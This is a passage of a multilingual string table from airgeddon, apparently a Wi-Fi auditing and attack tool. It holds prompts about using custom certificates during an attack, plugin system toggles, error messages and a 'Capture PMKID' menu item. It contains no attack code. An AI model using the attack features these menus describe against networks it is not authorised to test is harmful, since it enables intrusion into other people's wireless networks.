arr["ARABIC",645]="\${normal_color}\${visual_choice}\${blue_color}فسيتعين عليك إدخال مسارهم ومعرفة كلمة المرور التي تم إنشاؤها باستخدامها ،\"y\" تلقائيًا. إذا أجبت بنعم airgeddon فسيستخدمها \"n\" إذا أجبت بلا \${green_color} هل تريد استخدام شهادات مخصصة أثناء الهجوم ؟" arr["CHINESE",645]="\${green_color}您想在攻击期间使用自定义证书吗? \${blue_color}如果您没有回答 \"n\",airgeddon 将使用默认值。如果您回答是 \"y\" 那么您将必须提供它们的路径并知道生成它们的密码 \${normal_color}\${visual_choice}" arr["ENGLISH",646]="\${blue_color}airgeddon has detected that custom certificates have been generated during this session. \${green_color}Do you want to use them during the attack? \${normal_color}\${visual_choice}" arr["SPANISH",646]="\${blue_color}airgeddon ha detectado que han sido generados unos certificados personalizados durante esta sesión. \${green_color}¿Quieres utilizarlos durante el ataque? \${normal_color}\${visual_choice}" arr["FRENCH",646]="\${blue_color}airgeddon a détecté que des certificats personnalisés ont été générés au cours de cette session. \${green_color}Voulez-vous les utiliser pendant l'attaque? \${normal_color}\${visual_choice}" arr["CATALAN",646]="\${blue_color}airgeddon ha detectat que han estat generats uns certificats personalitzats durant aquesta sessió. \${green_color}¿Vols utilitzar-los durant l'atac? \${normal_color}\${visual_choice}" arr["PORTUGUESE",646]="\${blue_color}airgeddon detectou que certificados personalizados foram gerados durante esta sessão. \${green_color}Você quer usá-los durante o ataque? \${normal_color}\${visual_choice}" arr["RUSSIAN",646]="\${blue_color}airgeddon обнаружил, что пользовательские сертификаты были созданы во время этого сеанса. \${green_color}вы хотите использовать их во время атаки? \${normal_color}\${visual_choice}" arr["GREEK",646]="\${blue_color}Το airgeddon έχει εντοπίσει ότι έχουν δημιουργηθεί προσαρμοσμένα πιστοποιητικά κατά τη διάρκεια αυτής της περιόδου σύνδεσης. \${green_color}Θέλετε να τα χρησιμοποιήσετε κατά τη διάρκεια της επίθεσης; \${normal_color} \${visual_choice}" arr["ITALIAN",646]="\${blue_color}airgeddon ha rilevato che durante questa sessione sono stati generati certificati personalizzati. \${green_color}Vuoi usarli durante l'attacco? \${normal_color}\${visual_choice}" arr["POLISH",646]="\${blue_color}airgeddon wykrył, że podczas tej sesji wygenerowano niestandardowe certyfikaty. \${green_color}Czy chcesz ich użyć podczas ataku? \${normal_color}\${visual_choice}" arr["GERMAN",646]="\${blue_color}airgeddon hat bemerkt, dass während dieser Sitzung benutzerdefinierte Zertifikate generiert wurden. \${green_color}Möchten Sie diese während des Angriffs benutzen? \${normal_color}\${visual_choice}" arr["TURKISH",646]="\${blue_color}airgeddon, bu oturum sırasında özel sertifikaların oluşturulduğunu tespit etti. \${green_color}Onları saldırı sırasında kullanmak istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",646]="\${normal_color}\${visual_choice}\${green_color} هل تريد استخدامها أثناء الهجوم؟\${blue_color} .أنه تم إنشاء شهادات مخصصة أثناء هذه الدورة airgeddon اكتشف\${normal_color}" arr["CHINESE",646]="\${blue_color} airgeddon 检测到在此会话期间生成了自定义证书。 \${green_color}你想在攻击中使用它们吗?\${normal_color}\${visual_choice}" arr["ENGLISH",647]="Default certificates will be used" arr["SPANISH",647]="Se utilizarán los certificados por defecto" arr["FRENCH",647]="Les certificats par défaut seront utilisés" arr["CATALAN",647]="S'utilitzaran els certificats per defecte" arr["PORTUGUESE",647]="O certificado padrão será usado" arr["RUSSIAN",647]="Будут использоваться дефолтные сертификаты" arr["GREEK",647]="Θα χρησιμοποιηθούν τα προεπιλεγμένα πιστοποιητικά" arr["ITALIAN",647]="Verranno utilizzati i certificati predefiniti" arr["POLISH",647]="Zostaną użyte domyślne certyfikaty" arr["GERMAN",647]="Die Standardzertifikate werden verwendet" arr["TURKISH",647]="Varsayılan sertifikalar kullanılacak" arr["ARABIC",647]="سيتم استخدام الشهادات الافتراضية" arr["CHINESE",647]="将使用默认证书" arr["ENGLISH",648]="Previously generated by airgeddon certificates will be used" arr["SPANISH",648]="Se utilizarán los certificados generados anteriormente con airgeddon" arr["FRENCH",648]="Les certificats avant générés avec airgeddon seront utilisés" arr["CATALAN",648]="S'utilitzaran els certificats generats anteriorment amb airgeddon" arr["PORTUGUESE",648]="Os certificados previamente gerados com airgeddon serão usados" arr["RUSSIAN",648]="Будут использованы сертификаты, сгенерированные с airgeddon" arr["GREEK",648]="Θα χρησιμοποιηθούν τα προηγούμενα πιστοποιητικά που δημιουργήθηκαν από airgeddon" arr["ITALIAN",648]="Verranno utilizzati i certificati generati in precedenza con airgeddon" arr["POLISH",648]="Zostaną wykorzystane certyfikaty wygenerowane wcześniej z airgeddon" arr["GERMAN",648]="Mit airgeddon erstellte Zertifikate werden verwendet" arr["TURKISH",648]="Daha önce airgeddon ile üretilen sertifikalar kullanılacak" arr["ARABIC",648]="airgeddon سيتم استخدام الشهادات السابقة التي تم إنشاؤها باستخدام" arr["CHINESE",648]="以前由 airgeddon 生成的证书将被使用" arr["ENGLISH",649]="Validating certificates..." arr["SPANISH",649]="Validando certificados..." arr["FRENCH",649]="Validation des certificats..." arr["CATALAN",649]="Validant certificats..." arr["PORTUGUESE",649]="Validando certificados..." arr["RUSSIAN",649]="Проверка сертификатов..." arr["GREEK",649]="Επικύρωση πιστοποιητικών..." arr["ITALIAN",649]="Convalidando i certificati..." arr["POLISH",649]="Sprawdzanie poprawności certyfikatów..." arr["GERMAN",649]="Validiere Zertfikiate..." arr["TURKISH",649]="Sertifikalar doğrulanıyor..." arr["ARABIC",649]="...التحقق من صحة الشهادات" arr["CHINESE",649]="正在验证证书..." arr["ENGLISH",650]="Certificates are valid. Attack can be performed" arr["SPANISH",650]="Los certificados son válidos. El ataque se puede realizar" arr["FRENCH",650]="Les certificats sont valides. L'attaque peut être lancée" arr["CATALAN",650]="Els certificats són vàlids. L'atac es pot realitzar" arr["PORTUGUESE",650]="Os certificados são válidos. O ataque pode ser realizado" arr["RUSSIAN",650]="Сертификаты действительны. Можно выполнить атаку" arr["GREEK",650]="Τα πιστοποιητικά είναι έγκυρα. Μπορεί να γίνει επίθεση" arr["ITALIAN",650]="I certificati sono validi. L'attacco può essere eseguito" arr["POLISH",650]="Certyfikaty są ważne. Można wykonać atak" arr["GERMAN",650]="Die Zertifikate sind gültig. Der Angriff kann ausgeführt werden" arr["TURKISH",650]="Sertifikalar geçerli. Saldırı yapılabilir" arr["ARABIC",650]="الشهادات صالحة. يمكن تنفيذ الهجوم" arr["CHINESE",650]="证书有效。可以进行攻击" arr["ENGLISH",651]="12. Disable plugins system permanently" arr["SPANISH",651]="12. Deshabilitar sistema de plugins permanentemente" arr["FRENCH",651]="12. Désactiver le système de plugins en permanence" arr["CATALAN",651]="12. Deshabilitar sistema de plugins permanentment" arr["PORTUGUESE",651]="12. Desativar permanentemente o sistema de plugins" arr["RUSSIAN",651]="12. Насовсем отключить систему плагинов" arr["GREEK",651]="12. Απενεργοποιήστε το σύστημα plugins μόνιμα" arr["ITALIAN",651]="12. Disattivare sistema di plugins permanentemente" arr["POLISH",651]="12. Wyłącz system wtyczek na stałe" arr["GERMAN",651]="12. Plugins-System dauerhaft deaktivieren" arr["TURKISH",651]="12. Eklentiler sistemini kalıcı olarak devre dışı bırak" arr["ARABIC",651]="12. تعطيل نظام الإضافات بشكل دائم" arr["CHINESE",651]="12. 永久禁用插件系统" arr["ENGLISH",652]="12. Enable plugins system permanently" arr["SPANISH",652]="12. Habilitar sistema de plugins permanentemente" arr["FRENCH",652]="12. Activer le système de plugins en permanence" arr["CATALAN",652]="12. Habilitar sistema de plugins permanentment" arr["PORTUGUESE",652]="12. Ativar o sistema de plugins permanentemente" arr["RUSSIAN",652]="12. Включить систему плагинов" arr["GREEK",652]="12. Ενεργοποιήστε το σύστημα plugins μόνιμα" arr["ITALIAN",652]="12. Attivare sistema di plugin permanentemente" arr["POLISH",652]="12. Włącz system wtyczek na stałe" arr["GERMAN",652]="12. Plugins-System dauerhaft aktivieren" arr["TURKISH",652]="12. Eklentiler sistemini kalıcı olarak etkinleştir" arr["ARABIC",652]="12. تفعيل نظام الإضافات بشكل دائم" arr["CHINESE",652]="12. 永久启用插件系统" arr["ENGLISH",653]="Plugins system: \${pink_color}Enabled\${normal_color}\${reboot_required_text}" arr["SPANISH",653]="Sistema de plugins: \${pink_color}Activado\${normal_color}\${reboot_required_text}" arr["FRENCH",653]="Système de plugins: \${pink_color}Activé\${normal_color}\${reboot_required_text}" arr["CATALAN",653]="Sistema de plugins: \${pink_color}Activat\${normal_color}\${reboot_required_text}" arr["PORTUGUESE",653]="Sistema de plugins: \${pink_color}Ativo\${normal_color}\${reboot_required_text}" arr["RUSSIAN",653]="Система плагинов: \${pink_color}Включена\${normal_color}\${reboot_required_text}" arr["GREEK",653]="Σύστημα plugins: \${pink_color}Ενεργοποιημένo\${normal_color}\${reboot_required_text}" arr["ITALIAN",653]="Sistema di plugin: \${pink_color}Attivato\${normal_color}\${reboot_required_text}" arr["POLISH",653]="System wtyczek: \${pink_color}Włączony\${normal_color}\${reboot_required_text}" arr["GERMAN",653]="Plugins-System: \${pink_color}Aktiviert\${normal_color}\${reboot_required_text}" arr["TURKISH",653]="Eklentiler sistemi: \${pink_color}Aktif\${normal_color}\${reboot_required_text}" arr["ARABIC",653]="\${pink_color}مفعل\${normal_color}\${reboot_required_text}\${blue_color} :نظام الإضافات" arr["CHINESE",653]="插件系统: \${pink_color}启用\${normal_color}\${reboot_required_text}" arr["ENGLISH",654]="Plugins system: \${pink_color}Disabled\${normal_color}\${reboot_required_text}" arr["SPANISH",654]="Sistema de plugins: \${pink_color}Desactivados\${normal_color}\${reboot_required_text}" arr["FRENCH",654]="Système de plugins: \${pink_color}Désactivé\${normal_color}\${reboot_required_text}" arr["CATALAN",654]="Sistema de plugins: \${pink_color}Desactivat\${normal_color}\${reboot_required_text}" arr["PORTUGUESE",654]="Sistema de plugins: \${pink_color}Desativo\${normal_color}\${reboot_required_text}" arr["RUSSIAN",654]="Система плагинов: \${pink_color}Отключена\${normal_color}\${reboot_required_text}" arr["GREEK",654]="Σύστημα plugins: \${pink_color}Απενεργοποιημένo\${normal_color}\${reboot_required_text}" arr["ITALIAN",654]="Sistema di plugin: \${pink_color}Disattivato\${normal_color}\${reboot_required_text}" arr["POLISH",654]="System wtyczek: \${pink_color}Wyłączony\${normal_color}\${reboot_required_text}" arr["GERMAN",654]="Plugins-System: \${pink_color}Deaktiviert\${normal_color}\${reboot_required_text}" arr["TURKISH",654]="Eklentiler sistemi: \${pink_color}DevreDışı\${normal_color}\${reboot_required_text}" arr["ARABIC",654]="\${pink_color}معطل\${normal_color}\${reboot_required_text}\${blue_color} :نظام الإضافات نظام الإضافات" arr["CHINESE",654]="插件系统: \${pink_color}禁用\${normal_color}\${reboot_required_text}" arr["ENGLISH",655]="\${blue_color}Plugins system will be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",655]="\${blue_color}Se va a deshabilitar el sistema de plugins. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",655]="\${blue_color}Le système de plugins sera désactivé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",655]="\${blue_color}Es va a desactivar el sistema de plugins. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",655]="\${blue_color}O sistema de plug-in será desativado. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",655]="\${blue_color}Система плагинов будет отключена. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",655]="\${blue_color}Το σύστημα plugins θα απενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",655]="\${blue_color}Il sistema di plugin sarà disabilitato. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",655]="\${blue_color}System wtyczek zostanie wyłączony. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",655]="\${blue_color}Das Plugins-System wird deaktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",655]="\${blue_color}Eklenti sistemi devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",655]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تعطيل نظام الإضافات\${normal_color}" arr["CHINESE",655]="\${blue_color}插件系统将被禁用。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",656]="\${blue_color}Plugins system will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",656]="\${blue_color}Se va a habilitar el sistema de plugins. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",656]="\${blue_color}Le système de plugins sera activé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",656]="\${blue_color}Es va a habilitar el sistema de plugins. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",656]="\${blue_color}O sistema de plug-in será ativado. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",656]="\${blue_color}Система плагинов будет включена. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",656]="\${blue_color}Το σύστημα plugins θα ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",656]="\${blue_color}Il sistema di plugin verrà abilitato \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",656]="\${blue_color}System wtyczek zostanie włączony. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",656]="\${blue_color}Das Plugins-System wird aktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",656]="\${blue_color}Eklenti sistemi etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",656]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تفعيل نظام الإضافات\${normal_color}" arr["CHINESE",656]="\${blue_color}插件系统将被启用。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",657]="\${blue_color}tmux will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",657]="\${blue_color}Se va a habilitar tmux. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",657]="\${blue_color}tmux será activé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",657]="\${blue_color}Es va a habilitar tmux. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",657]="\${blue_color}tmux será habilitado. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",657]="\${blue_color}tmux будет включен. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",657]="\${blue_color}tmux θα ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",657]="\${blue_color}tmux verrà attivato \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",657]="\${blue_color}tmux zostanie włączony. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",657]="\${blue_color}tmux wird aktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",657]="\${blue_color}tmux etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",657]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .tmux سيتم تفعيل\${normal_color}" arr["CHINESE",657]="\${blue_color}tmux 将被启用。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",658]="\${blue_color}xterm will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",658]="\${blue_color}Se va a habilitar xterm. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",658]="\${blue_color}xterm será activé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",658]="\${blue_color}Es va a habilitar xterm. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",658]="\${blue_color}xterm será habilitado. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",658]="\${blue_color}xterm будет включен. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",658]="\${blue_color}xterm θα ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",658]="\${blue_color}xterm verrà attivato \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",658]="\${blue_color}xterm zostanie włączony. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",658]="\${blue_color}xterm wird aktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",658]="\${blue_color}xterm etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",658]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .xterm سيتم تفعيل\${normal_color}" arr["CHINESE",658]="\${blue_color}xterm 将被启用。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",659]="Error. Invalid function \"\${normal_color}\${current_function}\${red_color}\" at plugin \"\${normal_color}\${plugin}\${red_color}\". The function tried to be modified does not exist. Fix it before continuing" arr["SPANISH",659]="Error. Función no válida \"\${normal_color}\${current_function}\${red_color}\" en el plugin \"\${normal_color}\${plugin}\${red_color}\". La función que se intenta modificar no existe. Arréglalo antes de continuar" arr["FRENCH",659]="Erreur. Fonction non valide \"\${normal_color}\${current_function}\${red_color}\" dans le plugin \"\${normal_color}\${plugin}\${red_color}\". La fonction que essaie de modifier n'existe pas. Devriez-vous le réparer avant de continuer" arr["CATALAN",659]="Error. Funció no vàlida \"\${normal_color}\${current_function}\${red_color}\" al plugin \"\${normal_color}\${plugin}\${red_color}\". La funció que s'intenta modificar no existeix. Arregla-ho abans de continuar" arr["PORTUGUESE",659]="Error. Função inválida \"\${normal_color}\${current_function}\${red_color}\" no plugin \"\${normal_color}\${plugin}\${red_color}\". A função a ser modificada não existe. Corrija antes de continuar" arr["RUSSIAN",659]="Ошибка. Недействительные функции \"\${normal_color}\${current_function}\${red_color}\" в плагине \"\${normal_color}\${plugin}\${red_color}\". Попытка изменить несуществующую функцию. Исправьте это, прежде чем продолжить" arr["GREEK",659]="Σφάλμα. Μη έγκυρη λειτουργία \"\${normal_color}\${current_function}\${red_color}\" στο plugin \"\${normal_color}\${plugin}\${red_color}\". Η λειτουργία που προσπάθησε να τροποποιηθεί δεν υπάρχει. Διορθώστε το πριν συνεχίσετε" arr["ITALIAN",659]="Errore. Funzione non valida \"\${normal_color}\${current_function}\${red_color}\" nel plugin \"\${normal_color}\${plugin}\${red_color}\". La funzione che si cerca di modificare non esiste. Risolvilo prima di continuare" arr["POLISH",659]="Błąd. Nieprawidłowa funkcja \"\${normal_color}\${current_function}\${red_color}\" we wtyczce \"\${normal_color}\${plugin}\${red_color}\". Funkcja próbuje modyfikować nie istnieją. Napraw to przed kontynuowaniem" arr["GERMAN",659]="Fehler. Ungültige Funktion \"\${normal_color}\${current_function}\${red_color}\" im Plugin \"\${normal_color}\${plugin}\${red_color}\". Die zu-ändernde Funktion ist nicht vorhanden. Beheben Sie es, bevor Sie fortfahren" arr["TURKISH",659]="Hata. \"\${normal_color}\${plugin}\${red_color}\" eklentisinde geçersiz İşlev \"\${normal_color}\${current_function}\${red_color}\". Değiştirmeye çalışılan fonksiyon mevcut değil. Devam etmeden önce düzeltin" arr["ARABIC",659]="الوظيفة التي تم محاولة تعديلها غير موجودة. قمبإصلاحها قبل المتابعة .\"\${normal_color}\${plugin}\${red_color}\" في الإضافة \"\${normal_color}\${current_function}\${red_color}\" خطأ. وظيفة غير صالحة\${normal_color}" arr["CHINESE",659]="错误。无效函数 \"\${normal_color}\${current_function}\${red_color}\" 在插件 \"\${normal_color}\${plugin}\${red_color}\" .试图修改的函数不存在。在继续之前修复它" arr["ENGLISH",660]="Thanks to the plugins system, customized content can be developed. Custom modifications of any menu or functionality in a quick and simple way. More information at Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["SPANISH",660]="Gracias al sistema de plugins se puede desarrollar contenido personalizado, modificaciones propias de alguna funcionalidad del menú de una forma ágil y sencilla. Más información en el Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["FRENCH",660]="Merci aux système de plugins, on peuvent développer des contenu personnalisé, modifications de toutes les fonctionnalités ou menu d'une manière rapide et simple. Plus d'informations sur le Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["CATALAN",660]="Gràcies al sistema de plugins es pot desenvolupar contingut personalitzat, modificacions pròpies d'alguna funcionalitat o menú d'una forma àgil i senzilla. Més informació al Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["PORTUGUESE",660]="Graças ao sistema de plugins se pode desenvolver conteúdo personalizado, modificações próprias de qualquer menu ou funcionalidade de uma maneira fácil e rápida. Mais informações na o Wiki em: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["RUSSIAN",660]="Благодаря плагинам можно быстро и просто разработать настраиваемое содержимое, собственные модификации с любой функциональностью или меню. Более подробная информация о Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["GREEK",660]="Χάρη στα plugins, μπορεί να αναπτυχθεί προσαρμοσμένο περιεχόμενο. Τροποποιήστε από οποιαδήποτε μενού ή λειτουργία σε ένα γρήγορο και απλό τρόπο. Περισσότερες πληροφορίες σχετικά με το Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["ITALIAN",660]="Grazie al sistema di plugins si possono sviluppare contenuti personalizzati, modifiche di alcune funzionalità o un menu in modo semplice e veloce. Maggiori informazioni su Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["POLISH",660]="Dzięki systemowi wtyczek można rozwijać spersonalizowane treści, własne modyfikacje jakiejkolwiek funkcji lub menu w szybki i prosty sposób. Więcej informacji w Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["GERMAN",660]="Dank des Plugin-Systems können individuell angepasste Inhalte, eigene Modifikationen jeglicher Funktionalität oder ein Menü in einer schnellen und einfachen Art und Weise entwickelt werden. Weitere Informationen finden Sie auf Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["TURKISH",660]="Eklentiler sistemi sayesinde özel içerikler, menü veya özellik kolay ve hızlı bir şekilde eklenebilir. Hakkında daha fazla bilgi: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["ARABIC",660]="Wiki: \${normal_color}\${urlgithub_wiki}/Plugins%20System\${pink_color} بفضل نظام المكونات الإضافية ، يمكن تطوير محتوى خاص ، وتعديلات خاصة لأي قائمة أو وظيفة بطريقة سريعة وبسيطة. مزيد من المعلومات على\${normal_color}" arr["CHINESE",660]="脚本现在有了插件系统,你可以开发定制内容。可以快速简单的自定义修改任何菜单或功能。查看 Wiki 上的更多信息: \${normal_color}\${urlgithub_wiki}/Plugins%20System" arr["ENGLISH",661]="Error. You have conflicting plugins (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" and \"\${normal_color}\${plugin}\${red_color}\") performing the same action \"\${normal_color}\${action}\${red_color}\" over the same function \"\${normal_color}\${original_function}\${red_color}\". Fix it before continuing" arr["SPANISH",661]="Error. Tienes plugins en conflicto (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" y \"\${normal_color}\${plugin}\${red_color}\") están realizando la misma acción \"\${normal_color}\${action}\${red_color}\" sobre la misma función \"\${normal_color}\${original_function}\${red_color}\". Arréglalo antes de continuar" arr["FRENCH",661]="Erreur. Vous avez des plugins contradictoires (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" et \"\${normal_color}\${plugin}\${red_color}\") On va effectuer la même action \"\${normal_color}\${action}\${red_color}\" sur la même fonction \"\${normal_color}\${original_function}\${red_color}\". Devriez-vous le réparer avant de continuer" arr["CATALAN",661]="Error. Vostè té plugins en conflicte (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" i \"\${normal_color}\${plugin}\${red_color}\") s'està realitzant la mateixa acció \"\${normal_color}\${action}\${red_color}\" sobre la mateixa funció \"\${normal_color}\${original_function}\${red_color}\". Arregla-ho abans de continuar" arr["PORTUGUESE",661]="Erro. Você tem plugins conflitantes (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" e \"\${normal_color}\${plugin}\${red_color}\") executam a mesma ação \"\${normal_color}\${action}\${red_color}\" na função \"\${normal_color}\${original_function}\${red_color}\". Corrija antes de continuar" arr["RUSSIAN",661]="Ошибка. У вас есть конфликтующие плагины (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" и \"\${normal_color}\${plugin}\${red_color}\") выполняют одно о то же действие \"\${normal_color}\${action}\${red_color}\" над одной и той же функцией \"\${normal_color}\${original_function}\${red_color}\". Исправьте это, прежде чем продолжить" arr["GREEK",661]="Σφάλμα. Έχετε αντικρουόμενα plugins (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" και \"\${normal_color}\${plugin}\${red_color}\") εκτελεί την ίδια ενέργεια \"\${normal_color}\${action}\${red_color}\" για την ίδια λειτουργία \"\${normal_color}\${original_function}\${red_color}\". Διορθώστε το πριν συνεχίσετε" arr["ITALIAN",661]="Errore. Hai plugins in conflitto (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" e \"\${normal_color}\${plugin}\${red_color}\") si sta eseguendo la stessa azione \"\${normal_color}\${action}\${red_color}\" sopra la stessa funzione \"\${normal_color}\${original_function}\${red_color}\". Risolvilo prima di continuare" arr["POLISH",661]="Błąd. Konflikt wtyczek (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" i \"\${normal_color}\${plugin}\${red_color}\") wykonujących tą samą czynność \"\${normal_color}\${action}\${red_color}\" na tej samej funkcji \"\${normal_color}\${original_function}\${red_color}\". Napraw to przed kontynuowaniem" arr["GERMAN",661]="Error. Sie haben widersprüchliche Plugins (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" und \"\${normal_color}\${plugin}\${red_color}\") die die gleiche Aktion \"\${normal_color}\${action}\${red_color}\" über die gleiche funktion \"\${normal_color}\${original_function}\${red_color}\" durchführen. Beheben Sie es, bevor Sie fortfahren" arr["TURKISH",661]="Hata. Çakışan eklentiler var: (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" ve \"\${normal_color}\${plugin}\${red_color}\"). Aynı eylemi gerçekleştirerek \"\${normal_color}\${action}\${red_color}\" aynı işlevi \"\${normal_color}\${original_function}\${red_color}\" gerçekleştirmeye çalışıyorlar. Devam etmeden önce düzeltin" arr["ARABIC",661]="قم بإصلاحه قبل المتابعة .\"\${normal_color}\${original_function}\${red_color}\" في نفس الوظيفة \"\${normal_color}\${action}\${red_color}\" يؤديان نفس المهمة (\"\${normal_color}\${plugin}\${red_color}\" و \"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\") خطأ. لديك مكونات إضافية متعارضة\${normal_color}" arr["CHINESE",661]="错误。您有冲突的插件 (\"\${normal_color}\${function_hooks[\${original_function},\${action}]}\${red_color}\" 和 \"\${normal_color}\${plugin}\${red_color}\") 在 \"\${normal_color}\${action}\${red_color}\"相同的函数 \"\${normal_color}\${original_function}\${red_color}\"。请在继续之前先修复它" arr["ENGLISH",662]="Only one additional interface able to be used detected. Autoselected" arr["SPANISH",662]="Sólo se ha detectado una interfaz adicional capaz de ser utilizada. Se ha seleccionado automáticamente" arr["FRENCH",662]="Une seule interface supplémentaire a été détectée qui peut être utilisée. Il a été sélectionnée automatiquement" arr["CATALAN",662]="Només s'ha detectat una interfície addicional capaç de ser utilitzada. S'ha seleccionat automàticament" arr["PORTUGUESE",662]="Somente uma interface adicional pode ser usada. Ela foi selecionada automaticamente" arr["RUSSIAN",662]="Удалось обнаружить только один дополнительный интерфейс. Выбран автоматически" arr["GREEK",662]="Η μοναδική διεπαφή μου μπορούσε να εντοπιστεί, επιλέχθηκε αυτόματα" arr["ITALIAN",662]="È stata rilevata solo un'interfaccia aggiuntiva che può essere utilizzata. È stata selezionata automaticamente" arr["POLISH",662]="Wykryto tylko jeden dodatkowy interfejs, który może być używany. Wybrano automatycznie" arr["GERMAN",662]="Nur ein zusätzliches benutzbares Interface wurde erkannt. Automatisch ausgewählt" arr["TURKISH",662]="Kullanılabilir tek bir ek arayüz bulundu. Otomatik seçim" arr["ARABIC",662]="تم اكتشاف واجهة إضافية واحدة فقط يمكن استخدامها. تم تحديدها تلقائيًا" arr["CHINESE",662]="仅检测到一个额外的接口可供使用。自动选择" arr["ENGLISH",663]="5. Capture PMKID" arr["SPANISH",663]="5. Capturar PMKID" arr["FRENCH",663]="5. Capture du PMKID" arr["CATALAN",663]="5. Captura PMKID" arr["PORTUGUESE",663]="5. Capturar PMKID" arr["RUSSIAN",663]="5. Захват PMKID" arr["GREEK",663]="5. Σύλληψη PMKID" arr["ITALIAN",663]="5. Catturare PMKID" arr["POLISH",663]="5. Przechwyć PMKID" arr["GERMAN",663]="5. PMKID ergreifen" arr["TURKISH",663]="5. 